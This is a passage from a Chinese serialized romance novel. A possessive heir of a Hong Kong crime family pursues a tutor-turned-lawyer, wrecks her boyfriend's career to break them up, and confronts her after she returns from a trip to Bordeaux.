林纪泽感觉到了她的停顿,冷冷催促。他的声音炸在她耳边,杨珞不再细看。帮他把上衣褪下后,杨珞看清了他的身体。
眼前的男人像是一坐伫立在博物馆的雕像,精致,惨白,带着死亡的气息。
他撑着身子,艰难的翻了身,杨珞攥着他的衣服,惊愕的看着眼前的一切。
他的腰、背一片惨不忍睹。那些伤痕是她没有见过的,渗血的地方还没有处理过,凝成了黑色的痂块。
一瞬间许多疑问涌入她心里。
可仅仅是片刻,她就打消了所有的疑问。她不该想,不能问,这一切都和她没关系,她只是恰巧看到了这一切。
林纪泽趴在枕头上,微微张开眼睛:“给我擦药。”
杨珞按照林纪泽的吩咐帮他处理伤口,她并没有多少包扎的经验,下手也没有轻重,可是从头到尾林纪泽
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没有喊一声痛。
擦到最后,杨珞已经满头大汗。
她上完最后的药,下床,说:“弄完了。”
林纪泽闭着眼睛没有说话,好像睡着了。
杨珞看了看表,还有一个小时下课,她轻手轻脚的将药放回去,重新坐回到书桌前。
书被来来回回翻了几遍,最后合上。杨珞开始盯着桌上的表开始熬时间。
熬的她犯困。可房间的空调很冷,冷的睡不着。
窗外的阳光投进来,在昏沉的房间里打上一道长长的光影,划过林纪泽露在外面的身体,映出煞白的肌理。
杨珞又一次仔细观察这个男人。
他是极好看的。
像杂志里被认真修饰过的名模,浑身上下每一处都像被精心雕刻过。
杨珞收回目光,轻手轻脚的将椅子搬到窗户前,让那一抹阳光打在自己身上,顿时暖和了许多。
林纪泽睁眼时便看到这幅场景。
杨珞小小的身体蜷缩在椅子上,头歪着靠在那儿睡着了。下午的阳光刺眼炙热,打在她的侧脸上,脸颊上细软的绒毛都一清二楚。
安详,静谧,美好又陌生。
他不喜欢太亮的地方,总是躲在阴沉沉的暗处。
林纪泽静静地看着她,发现此刻的杨珞像一只乖巧的小猫,可为什么看他的眼神里总是充满着冷漠。
她对谁都这样吗?
林纪泽又沉沉的睡去了。
过了许久,杨珞的脑袋磕了一下,猛的醒来。她急忙去看表,离下课时间已经过去半个多小时了。
林纪泽还在睡,她轻手轻脚搬回椅子,悄悄收拾了东西。
准备走时,床上忽然传来急促的喘息声。林纪泽像是做了噩梦,眉头紧皱,一脸痛苦。
杨珞停下脚步,在他床前伫立,静静地看着他。
他忽的醒来,眼睛没有聚焦,虚无的望着前方,最后才定睛到杨珞脸上。
对视的一瞬,林纪泽眼里是梦境延续下无尽的恐惧。
他看到了眼前的杨珞,他脆弱的像一只受惊的麋鹿,直直的望着她,像是在求救。
杨珞的心忽的颤了一下,但仅仅是片刻的心软,下一秒便头也不回的离开了。
砰地一声,落针可闻的房间里,只剩林纪泽一人孱弱的呼吸着。
杨珞冲出别墅,溺水重生般的大呼了几口气。她的脑袋里闪过林纪泽方才的眼神,可却让自己的心硬的像铁一样。
她记得很久以前,自己还是个孩童时,父亲带她去动物园,隔着铁栅栏蹲着一头狮子。那狮子静静呆着,没有丝毫野兽之王的威力,像是家猫一样露出脆弱惹人疼的目光。杨珞被脆弱蛊惑,鬼使神差的把手伸进栅栏去喂它生肉。
就是那猝不及防的一瞬间,家猫般的狮子猛的冲过来,一张憨态可掬的脸瞬间成了凶残的猎食者,狠狠朝她的手咬下去。
杨珞根本来不及反应,等她回过神来,自己已经被父亲抱着滚到了地上。她惊恐的看了看自己的手,还在。而那头狮子正悠哉的品尝着她掉落在笼子里的生肉。
她到现在都记得父亲说过的话。
“不要被野兽无辜的外表骗了,哪怕它再脆弱,也能一口咬掉你的脑袋。”
9. 第7章(1)
杨珞心底的恐惧大到了极点,她飞奔回去,回到陈桥的怀里。向陈桥诉说了事情的原委,陈桥抱着她,安慰她,让她辞掉这份工作,明天不要再去了。
可杨珞思索再三,还是心存侥幸。她的课没剩多少了,现在那位祖宗又躺在床上,多一事不如少一事,况且现在她只觉得林纪泽阴晴不定,她也怕突然辞职再得罪这位祖宗。
陈桥知道劝不动她,但还是不放心,便每天去接送她。
之后的一段时间林纪泽一直在养伤,似乎也不拿杨珞解闷了。他总是拉着窗帘,却透出一条细缝,诺大的房间只有一束光孤零零的躺在那儿。
林纪泽总是面无表情的透过那条缝望向窗外,一坐就是许久。
杨珞无法理解他奇怪的行为,终于忍不住道:“你如果想看阳光,可以把窗帘拉开。”
林纪泽缓缓看向她,目光冷厉。
杨珞打了个寒颤,心想自己真是多管闲事。
谁料林纪泽却忽然对他扯出一丝笑容,笑的杨珞背后一凉。
“好啊,你去拉。”
杨珞腹诽,还是过去拉开了窗帘。阳光倾泄而下,刺的林纪泽闭上眼睛。一阵眩晕的白色光束里,他的身体像发着光。
杨珞被莫名其妙的吸引了,目光在他身体上停留了许久。
“好看吗?”
林纪泽问。
杨珞回神,看到林纪泽似笑非笑的眼神。
她转身坐回去,没吭声。
林纪泽又自讨没趣了,但他似乎习惯了。
又过了几天,他终于能下床了。但仍觉得烦闷无比,他也不让杨珞念书了,就让她在房间里呆着,如果管家问起来,就说正常上课。
杨珞对这些事情言听计从,一向不跟他讨价还价。
杨珞闲的发慌,就给陈桥发信息骚扰他。
“滴滴”
“在办公室值班,今天还是6点下课吗?”
“对的对的,我饿了。”
“给你买了菠萝包,一会儿去接你。”
“芜湖~”
林纪泽怀疑自己是不是看错了。
他看到了杨珞在笑。
对着手机傻乎乎的笑。
他走过去,赤着脚没发出一点声音。
“陈桥是谁。”
声音在杨珞耳边忽然响起,她吓的摔了手机,猛的转身。
鼻尖擦过他的嘴唇。
林纪泽弯着腰,看着眼前被吓的灵魂出窍的杨珞,时间似乎定格了一秒。
他浅浅的伸出舌头,舔了一下。
他终于看到杨珞脸上不同寻常的表情。
“你害怕我?”
杨珞转为愤怒:“你怎么能在后面偷看别人的手机?”
林纪泽淡笑一下,没答,又问:“陈桥是谁?”
杨珞转过身去,只留下一个笔直的背影。
“是我男朋友。”
“男朋友?什么人?”
“普通人。”
林纪泽垂了垂眼眸,没有再说话。
下课了。杨珞离开时说:“明天是最后一节课,还是什么都不讲吗?”
林纪泽坐在窗边,背对着她,半晌嗯了一声。
杨珞离开林纪泽的房间像是从水中上了岸,胸口顿时松了一口气。她老远就看到陈桥等在栅栏门外,冲她扬了扬手里的菠萝包。
屋里,林纪泽的目光透过窗户追随者杨珞的身影。他早早就注意到了在大门外徘徊的男人,几乎是一种直觉,那个人就是陈桥。
林纪泽看着杨珞走向陈桥,似乎脚步都轻快了起来,甚至朝他跑了两步。他从袋子里拿出一块面包,喂到她嘴里。杨珞笑嘻嘻的看着陈桥,眼里是情意绵绵,浑身都生机勃勃。
原来这才是你。
他转过身来,看着自己空荡荡,阴沉沉的屋子,心底如一片寂寥无比的死海。
他沉默的坐着,坐到夕阳西下,坐到太阳落山,坐到月亮升起。
看着窗外清冷孤
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寂的月亮,林纪泽想起了杨珞。
不知怎么的,他有点想明天快点到来。
第二天上课,杨珞遵循林纪泽昨天的话,坐在书桌前一言不发。林纪泽坐在窗边的椅子上,目不斜视的打量着她。
直到杨珞察觉到他的目光,疑惑的看他一眼。
林纪泽:“坐过来。”
杨珞:“干什么?”
林纪泽:“聊聊天。”
杨珞本着多一事不如少一事的想法在林纪泽对面坐了下来。
林纪泽半个月没晒太阳,肤色更白了,脸颊也消瘦了些,深邃的五官和危险的气质让杨珞想起了少年汉尼拔里的主人公。
林纪泽:“你很缺钱吗?”
杨珞不知道他为什么什么问,但是选择如实回答。
“有点吧。”
她要申请交换,要出国,还想毕业后回到西京和陈桥一起付首付。
林纪泽:“你来一次,周叔给你多少钱?”
周叔是林家的管家,杨珞伸出一根手指:“一千。”
“这么少?”
“已经很多了。”
林纪泽笑道:“那我续课,给你三倍工资。”
杨珞像看智障一样看着他,问:“你为什么要学法语?你根本就不喜欢。”
林纪泽的神情骤然沉下来,冷的让杨珞心里发怵,他别开目光,看向窗外,良久才说:“也不一定是法语。有人想让我离开港城,德语,英语,随便哪个都行。”
杨珞没有追问。
林纪泽又问:“续课,怎么样?”
杨珞摇了摇头:“不了,我后面有别的事。”
杨珞一天都不想在这儿多呆,她觉得压抑。
林纪泽不拆穿她的话,心里却起了逗她的心思。
林纪泽:“你要是缺钱,我给你个更赚钱的活,怎么样?”
杨珞半信半疑的看他一眼:“什么?”
林纪泽直直的看着她,说:“做我女朋友。”
10. 第7章(2)
“做我女朋友。”
话说出口,林纪泽被自己惊到了,那些理不清的烦闷忽然之间有了头绪。他看着杨珞,想看看她的反应,是气愤,还是害羞。可似乎是意料之中,她总不按常理出牌。
杨珞面无表情,略带讽刺的问:“做你女朋友,是一种工作?你给女人都开什么价?”
林纪泽被她问住了,但他此刻并不想和她斗嘴。“别管这些细枝末节,你明白我的意思。”
杨珞终于知道他不是开玩笑,她的脸色沉下来,只说了两个字:“不行。”
这两个字砸在林纪泽耳朵里,把他砸了个清醒。
自己这是怎么了?大概病太久,疯了吧。
林纪泽年纪不算大,但也有过女人,他的兴趣和欲望总是那么直白。他见过温顺的也见过倔犟的,得到过不少也有不稀罕他的,可他都不在意。他觉得自己并不是个容易上头的毛小子,林纪泽让自己冷静下来,只当是像往常一样逗她一下罢了,她不识逗,就算了。
时间到了。
杨珞抬头看了一眼表,起身去收拾东西。速度很快,林纪泽莫名奇妙的问题让她心底突然慌了起来。她想赶快离开,甚至连一句客气的道别都没有。
门开门关,她走了。
林纪泽静静看着她的背影消失,他感受着自己空荡荡的心情,忽然烦闷。
——
杨珞从梦中醒来,耳边轰轰隆隆,飞机已经在下降了。她仿佛做了一个很长的梦,醒来时筋疲力尽。她在椅子上躺了一会儿,起身喝了几口水,快到地面时,手机信号恢复,几个微信提示音接连响了起来。
杨珞打开看了看,有工作微信,有唐亭给她发的。她回复完所有的微信,忽然看到有一条未读短信。杨珞当即便有了一种不好的预感,等她点开,果然是林纪泽。
“我来机场接你。”
不容拒绝的语气是他一贯的风格。即便最近他们没有联系,林纪泽要查到她的任何信息也是易如反掌。杨珞删掉短信,没有回复。她此刻无比希望飞机能够晚点。
可飞机很准时,杨珞心不在焉的取了行李,准备出机场的时候又折返回来了。
她不想见他,一点都不想。
她把短信删掉,假装没看到。她不出机场,就可以假装自己还没下飞机。她把手机关机,让谁都找不到她。杨珞何尝不知道自己在掩耳盗铃,但即便如此她也想躲一刻。
她躲在一家便利店里看人来人往,身边坐的人已经换了好几茬。约莫过了三个小时,杨珞起身活动了一下身体,心想这么久等不到人,林纪泽应该已经走了。她这才拉着自己的行李出去,为了确认,还四处张望了一下。
程进看到杨珞的时候,就是她这一副鬼鬼祟祟的样子。他有些意外,杨珞不是上午就走了吗?按理说早就到了,怎么会和他们同一个点出机场呢?
正巧陆淮过来,程进下巴朝杨珞的方向扬了扬,问:“那不是杨小姐吗?”
陆淮朝着她的方向看过去,眯了眯眼睛。
杨珞终于松了口气,可显然有人不想放过她,她刚转过身,差点撞上突然站在自己身后的人。
她说着抱歉转身,却再看到林纪泽的那一秒僵在原地。
那一刻她觉得自己的心跳停了一下,然后才艰难的恢复。
林纪泽一点也不意外,他平静的看着她,甚至还带着浅浅的笑意。
杨珞很快让自己冷静下来,她现在最不能做的就是和林纪泽硬碰硬。她主动走上前,问:“你怎么来了,我都不知道。”
她主动把锅甩的干干净净。
林纪泽:“我给你发过短信。”
杨珞:“我手机没电关机了,而且飞机也晚点了。”
林纪泽没说话,只是笑了笑,也不拆穿她。他的笑让杨珞背后暗暗生冷,紧张的捏紧了手里的箱子。
站在远处的陆淮和程进看清了一切,陆淮看着杨珞对面的男人,似乎想起了什么,眼底闪
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过一丝不易察觉的阴戾。
程进察觉到他的变化,一时不知如何是好,他以为自家老板吃起了这种闲醋,昨儿个还与自己同床共枕的女人,今儿个就发现只是逢场作戏。虽说陆淮也不算认真,但是个男人多多少少都有些不爽。
程进斟酌半天,刚要开口缓和一下,陆淮忽然对他说:“去查一查杨珞的信息,还有她和林纪泽的关系。”
程进愣了一愣,反应过来脸色一变:“林纪泽?”他朝杨珞对面的男人看了一眼:“他是林纪泽?”
陆淮没有回答他,但默不作声已是答案。陆淮的目光收回,大步离开。
程进赶忙跟上去,心底已是一片凉意。他只听过林纪泽的名号,却没见过真人。港城林家的二公子,虽然当下还是他哥哥掌权,但他手里的势力不容小觑,况且做黑事出家的,总是流氓的猝不及防。林纪泽突然来到西京,背后怕是林家的意思,他们现在本就摸不明白,要是栽到一场风流韵事里,那就贻笑大方了。
他刚坐上陆氏的第一把交椅,其他几家都盯着分肉吃,又偏偏碰上林家二公子也来西京分一杯羹。
一个意外相遇的美人,又偏偏认识这位二公子,一切都巧的不像话。
杨珞跟着林纪泽上了车,把手机打开找到唐亭新房子的地址,对他说:“到这里。”
林纪泽瞥了一眼她的手机,笑道:“不是没电关机了吗?”
杨珞:“……”
他故意的,杨珞索性不再假装:“我摆明了不想见你,何必等那么久。”
林纪泽转过一个弯,车子飞驰在大道上。“我等你,不是因为你想见我,是我想见你。”
杨珞冷冷看着他:“林纪泽,你到底想怎么样?”
“我要什么,你很清楚。”
“我是清楚,可我给不了,你也清楚。”
林纪泽看着前方,许久,勾了勾唇角:“无所谓,你的心就算不在我这儿,以后也不会在别的地方了。”
11. 第8章(1)
杨珞心神不宁,等回过神来车已经开到了一座她从没来过的别墅区。林纪泽把车开到地下车库,杨珞却赌气坐着不动。他绕到副驾驶,打开车门,一手撑着车顶居高临下的看她:“怎么?要我请你上去?还是怕我吃了你?”
杨珞:“我盼着你一口吃了我呢。吃干抹净之后你走你的阳关道,我过我的独木桥,我们两不相干。至少别像现在这样钝刀子割肉,折磨我也不给个痛快。”
林纪泽一直喜欢她的伶牙俐齿,他不气反笑:“按你说的那样,我用得着等这么久?我早就让陈桥滚蛋了。”
陈桥两个字像是触动了杨珞的逆鳞,她将手中的提包狠狠朝他砸过去,链子刮过林纪泽的下巴,留下一道不大不小的血丝。林纪泽的目光终于沉了下来,他用食指抹了一下伤口,而后冷冷道:“下车。”
杨珞知道他是个疯子,沉默许久还是妥协了。跟着林纪泽回到了他的地方。
他带她走进别墅,从一楼的客厅走到二楼的卧室,均和她展示一番。杨珞心不在焉的看着,而后给悄悄给唐亭发了一条信息。“我被林纪泽带走了。”
“这是我在西京的房子,以后我会留在这里。”
杨珞匆忙收起手机,打量着这里的一切,和他在香港的房间截然不同,以前的房子像个冰冷的停尸房,现在的反而是一片暖色调。
杨珞对这一切都不感兴趣,匆匆一眼,面无表情。
林纪泽缓缓转过身来:“杨珞,我们多久没见了?”
杨珞沉默盯着他。
林纪泽:“三个月了,你说你喜欢西京,不喜欢港城。我费了很大力气,把我自己和我手下的人、东西,从港城挪到了西京。”
他伸手去抚摸悬挂在墙上的玉坠。
“我以为陈桥能坚持的久一点,没想到人果然是越活骨头越软。像他那样的天之骄子,当然受不了一点的现实打击。别说我没给过他机会,我给了他一年的时间,我没有拆散你们,可整整一年,他既没能带你远走高飞,也没能把我怎么样,反而最后像条狗一样,灰溜溜的跑了。”
杨珞心里堵的发涩:“他只是一个普通人,就算是十年也不能把你怎么样。”
林纪泽笑道:“没错,所以一开始何必苦苦撑着?”
杨珞双目通红:“林纪泽,你是个疯子。”
他走上前来,轻轻捧着她的脸:“我知道,你早就告诉过我了。”
她和陈桥已经分开许久了。
他本就是青年才俊,天之骄子,可这样的人居然在毕业后待业了整整一年,只能靠编织谎言,向家里要钱度日。他的履历漂亮的不像话,从未想过被这么多企业拒之门外,可陆陆续续求职一年,仍是毫无收获。每当他投去简历的时候,对方都十分惜才,可最后无一不是态度忽然大转,一通电话告知他职位已经满员了。
陈桥不是傻子,杨珞也不是。他们都知道背后是谁的黑手,可却谁都没有向彼此戳破。杨珞每日在愧疚下生活,那个刚出校园意气风发的少年已经被折麽的毫无朝气。
林纪泽好残忍,他知道怎么杀/人诛心,知道怎么把人的心气一点点磨没。
可他们就这么撑着,以为总能找到一个地方容纳他们,林家不能只手遮天。
毕业一整年的同学聚会,不少人前途似锦。偏偏陈桥这个当年学校里的个中翘楚,成了最混不下去的人。没有人愿意给他工作,没有人愿意因为他得罪林纪泽。他被冷落在饭桌的角落,听着别人谈笑风生。那天陈桥喝了很多酒,醉呼呼的时候,模糊的听到别人议论起了他。
“要美人不要江山,可惜了啊。”
陈桥愤怒起身,和那人扭打在了一起。他偏激、他易怒、他像个颓废之人只能靠武力和野蛮来发泄心中的不满。等到陈桥被其他人拉开的时候,才发现自己根本不认识眼前的这个人。
是啊,他以前是万众瞩目,班上那些平平无奇的人,好多他都不认识。
可现在,那个人在指着自己的鼻子,骂些什么,他已经听不清了。
杨珞狼狈的把他领走,二人已经成了别人眼中的笑话。回去的路上两人一阵沉默。
陈桥摸了摸口袋,空空如也。
“你先上去,我去买包烟。”
“我跟你一起。”
“没事儿,我想静静。”
陈桥的烟买了很久,杨珞坐在家里等的越来越着急。打他电话也没有人接,她按耐不住准备出去找他,刚到门口就想起了敲门声。
开门的瞬间,陈桥站在门口,怔怔的看着她。他像被人抽了魂,挺拔的身躯被无形的东西压的躬塌着。杨珞的心骤然痛了起来,她走上前想抱住他,可刚迈开腿,陈桥便往后退了一步。
杨珞怔在原地,她的心好像被什么东西撕裂了,同时破裂掉的还有她拼命坚持的最后一丝期望。
“珞珞,我们……我们分开吧。”
陈桥撑着最后的力气说了这句话,两人对视着,相顾无言。陈桥的眼眶红了,模糊了,最后再也撑不住,他抱着头蹲在地上,嚎啕大哭。
杨珞的身体像被灌了铅,她看着哭的像孩子一样的陈桥,沉默着接受了一切。
“嗯。好。”
曾经杨珞提过分手,她知道林纪泽的出现已经彻底改变了她的生活。可是陈桥不愿意,他觉得没有人可以决定他人的生死,他觉得所有事情都是掌握在自己手里的。
她和陈桥撑了好久好久,他们天真的以为世界是公平的,以为情比金坚可以战胜
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一切。
可今天她才知道,能把人打趴下的从来都不是拳头,是把一个人的尊严踩在脚下,把他的希望撕成碎片。
杨珞知道自己别无选择,她不能让心里朝阳一样的少年因为自己而一天天枯萎。她压下了所有的悲痛,所有的不甘,最后化成一股尖锐的恨意。
她重回房间,拨通林纪泽的电话。那边是他悠闲的声音,满满的笑意:“你终于给我打电话了,我好想你啊。”
杨珞的眼泪再也控制不住,她疯了一样朝他嘶叫:“林纪泽,我恨你,我恨你!”
林纪泽坐在椅子上,看着窗外刺眼的阳光,却不愿躲开。“恨吧,反正你恨我也不是一两天了。”
此刻,杨珞双目通红,死死的盯着林纪泽,仿佛那天在电话里对他说的话,又从眼睛里说了出来。可林纪泽毫不在意。
林纪泽上前抱住杨珞,将头埋在她肩膀处,贪婪的呼吸着属于她的味道。
杨珞用力转身,却被他牢牢禁锢住。
“现在陈桥没了,我们有的是时间,还记得你答应我的事吗?我不伤害你身边的任何人,但你要给我一个机会。”
杨珞只想逃,逃的越快越好,越远越好,眼前的人一点一点把她逼到窒息。
死气沉沉的房间里忽然响起一阵电话铃声,杨珞惊了一下,反应过来是自己的电话。林纪泽这才缓缓放开她,杨珞让自己迅速冷静下来,看了一眼,果然是妈妈打过来的。
杨珞接通电话,故意站在林纪泽面前,不出她所料,杨母开口第一句话就是劈头盖脸的一顿骂。
“这么晚了你去哪儿了?不是中午的飞机到吗?怎么还没回家啊?”
杨珞急忙解释:“我回了啊,我在唐亭那儿呢。”
杨母怒吼:“你骗我离的远是不是,刚才就是唐亭给我打的电话说你还没回家,打你电话还是关机,你一个女孩子家家的大晚上跑哪儿去了,也不知道跟身边的人说一声。出事儿了怎么办?”
杨珞满眼怨气的瞥了一眼林纪泽,急忙解释:“我是突然有点急事,这就准备回去了,等我到家了给你打电话,你别着急,我就快到家了。”
林纪泽看着杨珞满眼慌张却又娴熟的扯谎,竟不觉笑了。挂了电话,杨珞顺理成章的说:“林纪泽,你今天如果不打算做什么,那就行行好放我回去吧。不然我这个容易着急的妈妈指不定一个电话打到公安局贴寻人启事了。”
林纪泽今晚本就没打算强留她,如今电话都打来了,自然要让她走。
“我送你回去,你妈说的对,不要遇到什么坏人。”
杨珞冷笑:“你太谦虚了,没有比你更坏的人。”
林纪泽:“杨珞,你这辈子只能遇到我一个坏人。”
12. 第8章(2)
林纪泽把杨珞调查的清清楚楚,自然知道唐亭的新房子在哪儿。
“下周日我要去参加聚会,你跟我一起去。”
杨珞看着窗外:“我可以不去吗?”
林纪泽:“不可以。我不想带别的女人出现。”
杨珞沉默着接受了他的安排。
林纪泽的车开到小区时,看到唐亭已经在门口等着。唐亭自然看他不顺眼,如果不是忌惮他背后的势力,恨不得一刀捅死他。林纪泽不想在这个节骨眼儿上起冲突,把车停的远了些。
杨珞一言不发下车,要走时林纪泽忽然叫住她。
“晚安”
杨珞看着他,心想要是他回去的路上能被撞死该有多好。
林纪泽似乎从她的表情里看出了些乱七八糟的意思,勾唇笑了笑,调转方向盘飞驰而去。
林纪泽的尾灯消失在夜空中时,杨珞的心才终于落下,天空下起了小雨,唐亭打着伞小跑过来,杨珞朝她转过来,一身的防备和冷硬瞬间坍塌。
唐亭站在杨珞眼前:“他干什么了?”
杨珞长出一口气,无奈的摇了摇头:“还是跟以前一样,幸亏你让我妈给我打电话了。”
唐亭扶着她的肩膀左右打量一周,才确认她没事。杨珞扑哧一声笑了出来:“没那么紧张。你怎么出来连个衣服都不穿,冷不冷?”
唐亭一早就来这里等着,只穿了在家穿的背心,此刻身子已经冻的生了凉意。杨珞把自己的外套脱下来给她披上,两人一起回了家。
这个房子是唐亭新买的,杨珞还没来过,她在门口打量着眼前的三层复式,比之前她买的单身公寓大出两倍。
唐氏集团在西京扎了几十年的根,近几年在西京的也发展的很大。尽管这几年有逐渐没落的趋势,但唐家的财力仍是不容小觑。虽然唐家对唐亭并不好,但瘦死的骆驼比马大,唐亭倒是不缺钱花
杨珞不知怎么的,忽然想起某个人的话,再高薪的打工人和资本家之间,仍是有着不可逾越的壁垒的。
杨珞忙前忙后收拾了一通,把房间简单归置了一下,又洗了个澡,疲惫的身体终于放松了下来。唐亭大概是除了母亲以外最了解她的人,房间的一切都是按照她的心意布置的。
杨珞拿出自己从波尔多带来的红酒,敲开唐亭的房门。唐亭正抽着一支烟,眉角眼梢带着风情,看了看杨珞手里的酒,挑了挑眉:“出去一趟还学会喝酒了?”
杨珞想起酒后的一些事,心虚的应了一声:“嗯~”
唐亭喜欢喝酒,经常买醉,杨珞不知道她从什么时候养成的这个习惯,自打十几岁认识她的
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时候就知道她能喝。但直到认识了她好多年以后,唐亭才告诉她自己根本不喜欢喝酒。那时杨珞还不太能理解,为什么不喜欢喝酒还硬要把自己灌醉,这两年才慢慢明白,有时候清醒着比醉了苦。
喝过酒的唐亭才会有真情实感。杨珞慢慢知道,有些东西是刻在骨子里的,无论是好还是坏,都是改不了的。
“酒不错。”唐亭尝了一口,放下杯子又点了支烟:“就是酒太好,一口口品不太过瘾,本来今晚我们应该喝个痛快的。”
杨珞喝了一口,笑着说:“你只管喝痛快,在波尔多,我也把好酒当二锅头喝。”
杨珞忽的说起这个,唐亭敏锐的觉察到她话里的玄机,她盯着杨珞,问:“和谁?”
杨珞轻轻摇了摇头:“萍水相逢,异国艳遇。”
几个字,不言而明。
唐亭怔怔的看着她,道:“你以前不这样的。”
似是感慨,也是心疼。
杨珞低着头,喃喃道:“以前,以前。”
她饮尽杯中酒:“可是回不到以前了。”
唐亭靠近杨珞,将她抱在怀里,轻轻拍着她的后背。
“会有办法的,会有办法的,别怕。”
杨珞伏在唐亭的肩膀上,轻轻嗯了一声,在醉意朦胧中睡去。
13. 第9章(1)
杨珞第二天醒来就是在唐亭的房间里,头痛欲裂。杨珞在床上坐了一分钟,拖沓着身体回房间。
她刚洗漱完准备吃点东西,律所的电话就打了过来。
杨珞还嚼着面包,嘴里含糊不清:“张主任,您起的早啊。”
张凌睿是凌天律师事务所的合伙人,也是她们团队的老大,凌天是西京数一数二的大律所,自杨珞毕业后就来这儿了。
张凌睿似乎在爬楼梯,气喘吁吁:“早?我都跑了趟法院回来了。你去法国出差那个案子人家给我反馈了,办的不错,今天下午来一趟律所,上次跟你说的陵川集团和江月集团的案子,要着手开始了。”
杨珞还没来得及说什么,电话就挂了。张凌睿绝对是个催命鬼老板,他手下带的实习生没一个撑过三个月的,杨珞之所以尽心尽力的在他的团队干,就两个字——钱多。
杨珞简单收拾了一下,下午两点多去律所报道,刚上电梯里就遇到了着急忙慌的张凌睿。要说张老板也四十大几了,头发没了大半,啤酒肚倒是圆滚滚。老婆没有,女朋友倒换的勤。刚来律所时杨珞还调侃他,谁知人家大言不惭的说:“赚钱干什么?就是用来骄奢淫逸的。”
杨珞看着气喘吁吁的张凌睿,问:“张哥,今儿怎么没美女送你呢?自己跑来的?”
张凌睿鄙视的看她一眼:“这叫什么话?美女是用来捧在手心里的,哪儿能让人家当司机呢。”
杨珞扯了扯嘴角,说:“那您能不能对我这个美女也仁慈一点,我昨天才出差结束,说了好了三天假期,今天就让我开工了?美女跟美女的差别也太大了吧?”
张凌睿摇摇头:“这你就不懂了,工作伙伴不分男女,抛开工作以外的才有美丑,我招你来又不是跟你谈恋爱的,分什么美女丑女的,能干活就是最美的。”
张凌睿趁升电梯的功夫把一叠材料递给他,说:“我们这次要跟陵川集团的法务一起合作,这是他们前期的资料,你好好看看。”
杨珞瞥了几眼资料,她并不是西京土生土长的人,陵川的名号她也只是听过,不过以前陵川是在帝都扎根发展的,近几年也是听闻他们人事变动很大,新任的领头人上台后就开始在西京有所建树。
张凌睿:“陵川的野心大的很,帝都站稳脚跟了,想来西京称霸,估计这几年西京的格局会有很大变化。咱们先搭上这个金疙瘩,以后还怕没得赚?”
杨珞扬了扬手里的资料:“我有多少可赚?”
张凌睿:“老规矩,基础工资,再给你6个点。我跟你说,咱们团队这么多人,我可是最偏心你的,好好干!”
杨珞假模假样的冲他鞠了一躬:“谢谢老板!”
张凌睿笑道:“别,大恩不言谢,活给我干好就行,陵川这个大腿咱们不能丢,多少人盯着呢。不过……我发现你这人真爱钱啊,你一个女孩子,漂漂亮亮的,那么着急赚钱干什么?不趁着年轻享受享受生活?”
杨珞漫不经心说:“赚钱逃命。”
张凌睿嗤笑一声:“逃命?咱们法律人怎么能这么说话呢,万事都要高举法律的大旗,正义会站在你这边的。”
杨珞微笑,说:“这话刚毕业的愣头青说我还信,你怎么也好意思说这种话?是谁当年告诉我,法律人的职业要求就是要会钻法律的漏洞?”
张凌睿哈哈大笑,两人就这么互怼着到了办公室,杨珞处理了一下手头的事情就开始看张凌睿给她的材料。
她手头只有并购案的案件信息,但仍然能看出来陵川的野心勃勃,原本西京首屈一指的集团是江月集团,唐氏也占一席之地,但如今陵川已经撼动江月集团的地位,两家一个上坡一个下坡,形势很明显。
杨珞只来了西京两年,她对这两个公司都不算太了解,以前办案子就只盯着案子,倒不怎么注意后面的金主们。
杨珞正看的投入,门外响起敲门
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声,周淼探头进来:“小杨,你回来啦,要帮忙不?”
杨珞合上材料,抱怨道:“我正在被老大压榨呢,陵川的案子要开始了,你知道吗?”
周淼在她身边坐下:“知道啊,我们一整个团队都要派到他们公司的法务部里去,老张这人忙的神龙见首不见尾的,估计到时候还是咱俩打头阵。”
杨珞靠在办公椅上,揉了揉太阳穴,问:“这个陵川总裁,我记得是个年纪挺大的老爷爷了,我好像在新闻上见过,但没什么印象了。”
周淼听她说起陵川,来了兴致:“是年纪挺大了,不过最近陵川人事变动很大,早就江山换代了,现在主事儿的是他儿子了。”
杨珞闭目养神,对周淼的话没什么意外,年纪大的退下来,小的跟上去,正常的很。
周淼又道:“陵川以前是家族企业,现在是资本集团,起码有一百多年的历史了。后来互联网行业兴起,他们也没掉队,背后的实力在国内首屈一指。他们现在的CEO就是之前那位的小儿子,在国外历练了很多年才回国。”
杨珞抬了抬眼,听她这天花乱坠的样子,忍不住笑道:“别的事不见你上心,怎么把人家家底儿摸的门清?”
周淼坏笑道:“因为我采访过陆总啊,他很帅的。”
杨珞一愣,心底紧了一下:“你说什么?”
周淼:“我刚到西京的时候参加过他主持的峰会,还跟他聊了几句。成熟男人的魅力可真不是盖的,啧啧。”
周淼回忆着,脸上漾起一抹想入非非的笑。
杨珞不知怎么,她心底隐隐升起一种不太好的预感。
“陆总?你说的陆总,叫什么?”
“陆砚堂。”
杨珞松口气,悬着的心落了下来。
她重新躺回办公椅上,疲惫的看了眼窗外。到底是自己心虚。全中国姓陆的有钱人那么多,怎么可能偏偏是他,总不至于这么倒霉。
14. 第9章(2)
陆砚堂是回国第二天到的老宅。老爷子过几个月就要去国外了,这段时间专门盯着他在西京的动作,说是提点,倒也有点监视的意思。
对此陆砚堂没觉得奇怪,他不经常来老宅,连路都记不住,也没发现这里已经变了很多。
程进指着那个新建的亭子说:“年前修的,老爷子说他住的地方见惯山水,没有不习惯,就让人修了个小湖,旁边儿的亭子也是他弄来看书喝茶的。”
陆砚堂冷冷一笑:“布置的这么称心称意,打算回来养老吗?”
他这话说的已是很不客气,程进吓了一跳,他连忙低声道:“这儿是老宅,到处都是耳朵。”
陆砚堂却并不在意,大步流星的往里走。
程进不敢再说什么。两人进去时,陆军山已在茶厅里坐着,见陆砚堂来也只是淡淡抬了下眼。
程进把东西放进来,自行退了下去,陆砚堂把两瓶酒拿出来,径直走到酒柜前放进去。
“给您带了两瓶好酒,尝尝。”
陆军山看着他,没接话,半晌之后,说:“祭祖那天你怎么不来?”
陆砚堂:“陆家的祖先着实没见过,去了难免虚情假意。”
陆军山:“没人要你真情实感,你现在挑了陆家的大梁,有些事情,犯着恶心也要做。”
陆砚堂闻言笑了,要说他最欣赏陆军山的一点,就是从不装模作样的讲感情。祭祖那天他没去,不少陆家人阴阳怪气的跟他讲孝道,他听着只觉得恶心。倒是陆军山明明白白的讲利益,他心里觉得舒坦。
陆砚堂:“行,以后我注意。”
